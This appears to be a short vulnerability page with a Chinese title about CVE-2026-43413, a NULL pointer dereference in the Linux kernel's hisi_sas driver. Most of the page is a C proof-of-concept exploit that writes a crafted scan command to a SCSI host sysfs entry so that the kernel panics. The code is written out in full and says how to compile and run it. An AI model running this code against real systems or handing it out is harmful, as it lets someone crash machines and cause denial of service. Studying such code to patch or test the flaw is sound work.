CVE-2026-43413 Linux内核hisi_sas空指针漏洞

// PoC for CVE-2026-43413: Trigger NULL pointer dereference in hisi_sas // Compile: gcc -o poc_exploit poc_exploit.c // Usage: ./poc_exploit (requires local access and hisi_sas hardware) #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main() { int fd; const char *scan_path = "/sys/class/scsi_host/host0/scan"; // Command format: <channel> <id> <lun> // "1 - -" forces a scan on channel 1, which does not exist on hisi_sas const char *trigger_cmd = "1 - -"; printf("[*] Attempting to trigger CVE-2026-43413...\n"); fd = open(scan_path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open scan sysfs entry"); return 1; } if (write(fd, trigger_cmd, strlen(trigger_cmd)) < 0) { perror("[-] Failed to write trigger command"); } else { printf("[+] Command sent. If vulnerable, the kernel should panic now.\n"); } close(fd); return 0; }